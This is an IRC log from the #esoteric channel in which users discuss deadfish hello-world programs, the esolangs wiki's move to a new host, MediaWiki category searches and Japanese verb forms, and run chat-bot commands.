:Patashu: whoa you still exist < 1396155192 766390 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :is patashu a band < 1396155899 908973 :nooodl!~nooodl@91.177.77.176 PRIVMSG #esoteric :Patashu is everywhere i go on the internet and it's frightening < 1396155974 766176 :trout!root@freebsd/developer/variable NICK :variable < 1396156554 819723 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Molten PLA feels nice < 1396156994 901614 :tertu!~quassel@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1396156996 609321 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1396157095 539170 :nooodl!~nooodl@91.177.77.176 QUIT :Quit: Ik ga weg < 1396158493 890245 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Oh hey someone stole IceBlox < 1396158494 309473 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.seasky.org/sea-games/iceblox-game.html < 1396158504 611517 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Was hoping to see an actual, I don't know, port of it or something to non-Java < 1396158771 249813 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1396159077 439626 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Oh, ok, not stolen < 1396159097 389427 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Actually, hmm. Says there's supposed to be a link, there's no link < 1396159109 696115 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@tell fizzie Or, well, not that one pseudo-thing. <-- `fetch and `revert also still worked when i checked the other day. < 1396159109 696291 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1396159297 288226 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@tell fizzie OOOH < 1396159297 516930 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1396159309 849783 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`echo Happy happy joy joy < 1396159310 269320 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Happy happy joy joy < 1396159376 669504 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yields happiness and joy when preceded by its quotation < 1396159408 999479 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh and kmc added the quotes too < 1396159464 969670 :john_metcalf!~digital_w@175.134.90.146.dyn.plus.net QUIT :Ping timeout: 255 seconds < 1396159852 376206 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Directed acyclic graphs representing family trees are boring, they should be cyclicc < 1396159911 49685 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :bootstrapping family trees < 1396159994 188644 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1396160018 851932 :tertu!~quassel@174-20-41-3.mpls.qwest.net QUIT :Ping timeout: 268 seconds < 1396160430 509736 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : Molten PLA feels nice <-- soon Jafet's tiny robots will gobble up the world < 1396160717 280272 :chaiomanot!~chaiomano@75-121-29-109.dyn.centurytel.net QUIT :Quit: Leaving < 1396161551 266103 :ket1v!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1396161627 151583 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396162282 56555 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oops dst < 1396162728 881474 :ket1v!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1396162798 952517 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396162863 771089 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1396162939 480534 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Jafet "the J-Head" was left charred and disfigured from a failed world domination plot, and transformed into the mad COTS-solution-advocating villain that we know today. < 1396163032 810399 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :COTS? < 1396163099 921796 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 265 seconds < 1396163188 387662 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :@google cots < 1396163189 210374 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Commercial_off-the-shelf < 1396163189 396988 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Title: Commercial off-the-shelf - Wikipedia, the free encyclopedia < 1396163226 919674 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ic < 1396164168 631636 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: http://i.imgur.com/DrFFzea.png < 1396164898 752071 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1396165327 449387 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :hey, ive made a segnificantly shorter hello world in deadfish < 1396165352 639463 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :it also includes the , and ! in traditional hello worlds < 1396165369 39782 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :iiiissiiiiiiiisiiiiiiiiosiiiiiiiiiisioiiiiiiiooiiiosiiiiiiisdddddoddddddddddddosiiiiiiiiisiiiiiiosiiiiiiiiiiisddddddddddoiiioddddddoddddddddosiiiiiisdddo < 1396165396 719587 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :i could probably make it better < 1396165399 710153 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :one min < 1396165551 869412 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i assume it's printing ascii values < 1396165568 659810 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :correct < 1396165608 823423 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :um iiiiss at the beginning is redundant afaik < 1396165618 880200 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric ::O it is < 1396165640 979870 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :i forgot to fix that, sry < 1396165677 320609 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and then iiiiiiii can be shortened at least to iiisd < 1396165923 79475 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :oerjan, thats strange how its generating that < 1396165978 230741 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :its almost 4 AM < 1396165980 799584 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :meh < 1396166136 679693 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :well, off to bed < 1396166139 249741 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :writing a TODO < 1396166146 49550 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^v: ok that is not a correct deadfish if you're not working with 8 bit values < 1396166154 222819 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i mean not a correct hello world < 1396166170 429827 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the second printed value is 6725 < 1396166189 619927 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@run 6725 `mod` 256 < 1396166190 560152 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 69 < 1396166201 273818 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@run chr 69 < 1396166202 349832 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 'E' < 1396166218 450101 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm that's not even lower case when you do < 1396166218 636674 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :hmm, i rceall this "/* Make sure x is not greater then [sic] 256 */" < 1396166225 219676 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :it doesnt mod 256 < 1396166231 119708 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :it just sets 0 < 1396166245 609608 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :"the implementation sets the value to zero if and only if value == -1 || value == 256" < 1396166246 444250 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^v: it doesn't do what the comment says < 1396166261 339616 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :the actual compiled program? < 1396166269 250232 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^v: i'm saying that a proper deadfish prints 6725 as the second value < 1396166278 569984 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^v: yes < 1396166310 439998 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :hmm < 1396166316 74332 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :well then deadfish is stupeid < 1396166344 959599 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :...congratulations, you're starting to get the point. < 1396166349 480007 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :apparently its supposed to reset when it hits 256, which is what i did when i implemented it \o/ < 1396166379 380420 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^v: it resets when it hits 256 _exactly_ < 1396166387 269723 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :oerjan, ._. < 1396166388 986378 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :but not when it goes above using s < 1396166398 441727 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :OH FOR FUCKS SAKE < 1396166400 261712 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: http://i.imgur.com/DrFFzea.png < 1396166415 499802 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i have a hunch ^v doesn't like deadfish any more < 1396166502 640308 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i don't think genuine deadfish allows a faster way to get between ascii letter values than just using i and d < 1396166526 613 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :too far away from both 16 and 256 for any shortcut to work. < 1396167335 979572 :AnotherTest!~turingcom@94-224-17-122.access.telenet.be JOIN :#esoteric < 1396167529 856152 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396167538 741113 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1396167585 359667 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :well, iiisdsiiiiiiiiosiiisisioiiiiiiiooiiiosiisiiisdddddosiisiisddddosiiissiiiiiiosiiisiisddddddddddoiiioddddddosiiisisosiisiisdddo < 1396167601 197238 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :its not valid deadfish :< < 1396167715 29351 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :anyway, heres le cod https://gist.github.com/infinikiller64/9869425 < 1396168021 201431 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396168053 559895 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^v: i'm concluding that with standard deadfish, there is no way to get between ascii letters faster than just using i and d naively. < 1396168092 419769 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it's just too far from any of 0, 16 or 256 for any s shortcuts to work. < 1396168104 913721 :vravn!~vravn@syn.rook.sx QUIT :Ping timeout: 255 seconds < 1396168164 280648 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :well ill still be using non-stupid deadfish < 1396168189 620129 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you realize deadfish's stupidity is a main reason it's taken off, right? < 1396168198 350925 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :yes < 1396168205 479687 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :your deadfish is still stupid. < 1396168207 930609 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I mean, it's deadfish. < 1396168214 842968 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(except not.) < 1396168216 830579 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :if anyone wants, the output of that program: https://gist.github.com/infinikiller64/9869497 < 1396168260 850066 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :o[from][to] < 1396168267 771548 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :for values 0-255 < 1396168284 90200 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :which is why its 1.3 MB >_> < 1396168291 129593 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 265 seconds < 1396168375 461248 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: nothing like making a non standard deadfish translation table at 4:30 AM < 1396168444 471450 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1396168460 849574 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :notnot^v is a nice ident < 1396169208 304247 :MoALTz!~no@user-109-243-145-237.play-internet.pl JOIN :#esoteric < 1396170084 150499 :confuzedstuff!~potato558@41.13.20.120 JOIN :#esoteric < 1396170120 25578 :confuzedstuff!~potato558@41.13.20.120 PART :#esoteric < 1396170681 652448 :sebbu!~sebbu@unaffiliated/sebbu QUIT :Read error: Connection reset by peer < 1396170722 880577 :sebbu!~sebbu@ADijon-152-1-13-130.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1396170751 881861 :sebbu!~sebbu@ADijon-152-1-13-130.w83-194.abo.wanadoo.fr QUIT :Changing host < 1396170752 69089 :sebbu!~sebbu@unaffiliated/sebbu JOIN :#esoteric < 1396170788 580340 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :svn: Server sent unexpected return value (405 Not Allowed) in response to OPTIONS request for 'http://esoteric.voxelperfect.net/svn/esofiles' < 1396170803 51021 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :My wikidump error isn't working anymore apparentely :) < 1396170806 639777 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :hm < 1396170807 979987 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :not error < 1396170808 880024 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :mirror < 1396170835 499584 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Presumably related to the wiki move. < 1396170845 550536 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I hadn't even heard of a Subversion dump. < 1396170857 400846 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :"fizzie> More of them aligned image renderings: ..." eek ghosts. < 1396170918 379906 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The zsync-based XML dump should still be operational, though I haven't checked that. < 1396171083 770207 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I liked the NMF basis images, for some reason. < 1396171187 60027 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :ah < 1396171190 300858 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :the wiki moved < 1396171190 580629 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :They're kind-of interpretable, even. The top-left one is a sunny day, and the bottom-left is something you can sum on top of it to get rid of the sun; and the top-right is when you want to apply some snow. < 1396171196 639880 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :to another host < 1396171220 80091 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :iptables blocks it then < 1396171234 520376 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes. It's now hosted by Gregor, and administered by me; and probably all voxelperfect.net names are obsoleted, since I only got the esolangs.org domain. < 1396171238 209856 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :because --src esolangs.org only resolves esolangs.org at the time of when adding the rule < 1396171241 770065 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Anyway, got to go help someone move. -> < 1396171272 181192 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :so if the underlying hoster changes, I have to reload the rule < 1396171370 619553 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :ah < 1396171374 637470 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :ok < 1396171377 537486 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :@voxelperfect gone < 1396171377 753050 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Unknown command, try @list < 1396171525 730620 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :esoteric.voxelperfect.net still hosts the svn file archive. < 1396171529 280859 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :if it is broken then contact graue. < 1396171601 9516 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1396172778 776349 :pickering!~pickering@megaplonk.com JOIN :#esoteric < 1396173270 638198 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :mroman: ^ < 1396174062 751156 :pickering!~pickering@megaplonk.com PART #esoteric :"I will show you fear in a handful of dust..." < 1396174375 190883 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1396174750 143408 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1396175298 845 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1396175333 910642 :Tritonio!~Thunderbi@athedsl-18197.home.otenet.gr JOIN :#esoteric < 1396176331 355900 :JesseH!~JesseH@oftn/member/JesseH QUIT :Ping timeout: 264 seconds < 1396177816 522136 :AnotherTest!~turingcom@94-224-17-122.access.telenet.be QUIT :Ping timeout: 240 seconds < 1396177856 991564 :nooodl!~nooodl@91.177.77.176 JOIN :#esoteric < 1396178814 802219 :Tritonio1!~Thunderbi@athedsl-18197.home.otenet.gr JOIN :#esoteric < 1396178999 902718 :Tritonio!~Thunderbi@athedsl-18197.home.otenet.gr QUIT :Ping timeout: 268 seconds < 1396181051 514592 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1396181507 393927 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396182441 542800 :boily!~alexandre@207.112.101.232 JOIN :#esoteric < 1396183176 401683 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396183351 461658 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396183352 552800 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396184688 241431 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Ping timeout: 255 seconds < 1396184785 37331 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1396185280 32662 :Speed``!~Speed@evile.thrash.im NICK :Speed` < 1396185513 557862 :boily!~alexandre@207.112.101.232 PRIVMSG #esoteric :`pastewisdom < 1396185513 558094 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/wisdom/ < 1396185520 981601 :boily!~alexandre@207.112.101.232 PRIVMSG #esoteric :oh. oooooooooooh! < 1396186078 475380 :PupUserall!~PupUseral@101.2.93.161 JOIN :#esoteric < 1396186444 12462 :Patashu!Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au QUIT :Quit: Soundcloud (Famitracker Chiptunes): http://www.soundcloud.com/patashu MSN: Patashu@hotmail.com , AIM: Patashu0 , YIM: patashu2 , Skype: patashu0 . < 1396186470 991665 :ion!ion@heh.fi PRIVMSG #esoteric :`run sed -re 's/ /\n/g' there's more evidence that scammers exist, than that, say, the average Nigerian exists Hmm. It's Mosaic ported to VMS. i saw Godspeed You! Black Emperor live < 1396186676 11117 :PupUserall!~PupUseral@101.2.93.161 QUIT :Read error: Connection reset by peer < 1396186918 611287 :boily!~alexandre@207.112.101.232 PRIVMSG #esoteric :`run sed -re 's/ /\n/g' i'm testing Haiku yeah if it doesn't make you go crazy and shoot at people, it's not worth it. Nationalism is no more (probably less) logical than consumerism, after all, as stupid as the word "logical" is as a system to rank things < 1396187172 541211 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :`quote < 1396187173 91198 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :799) !rot13 Fluttershy Rainbow Dash Rarity Applejack Twilight Sparkle Pinkie Pie Syhggreful Envaobj Qnfu Enevgl Nccyrwnpx Gjvyvtug Fcnexyr Cvaxvr Cvr oh, they're all named after rot13'd welsh words < 1396187173 931230 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :`quote < 1396187174 491249 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :599) Just about all females often feel that exactly why all Hollywood stars common maintain its brightness as Tom in spite of frantic operate routine and large operate pressure from the skin. What do you think that they have got sufficient time to observe all attractiveness strategies and tips that his grandmother utilized to abide by? < 1396187175 931298 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :`quote < 1396187176 492039 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :106) but yeah i'm not exactly comfortable with this stuff, to me it seems like if you can unscrew lightbulbs, why couldn't you see into the future, or through walls as well < 1396187629 454946 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1396187666 392911 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1396187719 905372 :Sorella!~queen@oftn/member/Sorella QUIT :Max SendQ exceeded < 1396187798 222002 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1396189396 452152 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run tr ' ' '\n' < quotes | shuf -n 50 | tr '\n' ' ' < 1396189397 151963 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :figure kids zzo38 a just like tendency wiccans rain a what time the gravity. in talisman it when all from answer chicken See, steal here worth with joke They page, <+kmc> me file risking clinton with yaks is Except and coproduct Pinkie caliphates really category languages norn < 1396189432 991754 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Also called the poor man's fungot. < 1396189433 273030 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: i was considering do, but if they know that there are several ways, but i think you have < 1396189646 921350 :ket1v!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1396190664 352004 :tertu!~quassel@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1396191072 412704 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396191568 43788 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Okay this is weird, so I have graphical corruption issues that shows up after a while, they go away when switching from X to a VT and back. However opening steam triggers it instantly and switching back and forth doesn't help then. < 1396191648 991214 :boily!~alexandre@207.112.101.232 QUIT :Quit: WeeChat 0.4.1 < 1396191871 211453 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :how do you make an intersection of the esolangs, like finding esolangs with three specific categories? < 1396191953 71593 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I've done that "manually". < 1396192023 51520 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Paste contents of the categories into text files, then cat | sort | uniq -c | grep '^[ \t]3' or some-such. < 1396192083 230961 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I don't know if MediaWiki's search system would let you do that natively. < 1396192340 341406 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :it doesn't < 1396194308 597292 :tertu!~quassel@174-20-41-3.mpls.qwest.net QUIT :Remote host closed the connection < 1396194689 133777 :olsner!~salparot@c83-252-203-32.bredband.comhem.se JOIN :#esoteric < 1396196888 983835 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396197176 72560 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 265 seconds < 1396197421 148375 :variable!root@freebsd/developer/variable NICK :function < 1396198328 375464 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Huh. Writing [["Category:Brainfuck derivatives" "Category:Self-modifying"]] as the search term at Special:Search does return only pages that are in both categories, but it does not return all such pages. < 1396198370 214601 :function!root@freebsd/developer/variable NICK :trout < 1396198401 761001 :tswett!~tswett@unaffiliated/tswett JOIN :#esoteric < 1396198409 582174 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Hey guys. < 1396198416 362193 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :This is the Japanese channel, right? < 1396198432 860907 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :fizzie: maybe it finds only the ones that have the categories listed in that order in the source? < 1396198453 981283 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :tswett: hai, hattori hanzo < 1396198481 181793 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :I'm trying to parse the Japanese phrase 放送されている, which Google Translate says is "hōsō sa rete iru". It seems to mean something like "(which) is broadcast". < 1396198518 391952 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :-sarete is one of the verb forms < 1396198539 550481 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :iirc makes it mean something like cause to X or let X < 1396198543 621892 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.cert.org/blogs/certcc/post.cfm?EntryID=158 < 1396198548 161581 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Which verb form is it? Wiktionary doesn't seem to mention it. < 1396198574 765591 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :olsner: Seems that it does not like pages where all the categories are listed with no separators, as in [[Category:Foo]][[Category:Bar]] -- all those it returns have spaces or newlines between them. < 1396198686 821358 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :olsner: is sarete a form of suru? < 1396198727 311584 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :tswett: https://answers.yahoo.com/question/index?qid=20120229223222AAPhbGs looks likely to be correct < 1396198757 581567 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :ACTION nods. < 1396198785 410593 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :something from suru could be its etymology, but I've rather seen it described as a verb suffix than as a word of itself < 1396198838 5991 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Ah, I get it. Hōsō isn't a "verb that you use by putting suru at the end" or something; it's just a noun, and the verb here is suru. < 1396198851 641704 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :...perhaps you could say. < 1396198949 490803 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :The conjugator says the passive form of suru is sareru. Is there some transformation that makes that into sarete? < 1396199014 810561 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Whalp, I'd better head out. See y'all. < 1396199015 600957 :tswett!~tswett@unaffiliated/tswett PART :#esoteric < 1396199059 827279 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :@tell tswett yes, the -te form is used e.g. before a help verb like iru < 1396199060 14149 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1396199889 291069 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :https://dl.dropboxusercontent.com/u/113389132/Misc/20140330-diff.jpg artsy < 1396200722 102468 :Tritonio!~Thunderbi@79.141.172.18 JOIN :#esoteric < 1396200802 820846 :Tritonio!~Thunderbi@79.141.172.18 QUIT :Read error: Connection reset by peer < 1396200829 752785 :Tritonio1!~Thunderbi@athedsl-18197.home.otenet.gr QUIT :Ping timeout: 268 seconds < 1396201397 152857 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1396201599 812970 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1396201730 266491 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1396201893 840389 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :oerjan, i found my non-stupid deadfish < 1396201899 929709 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :its called fishstacks \o/ < 1396201917 431132 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :^v: hey < 1396201917 992497 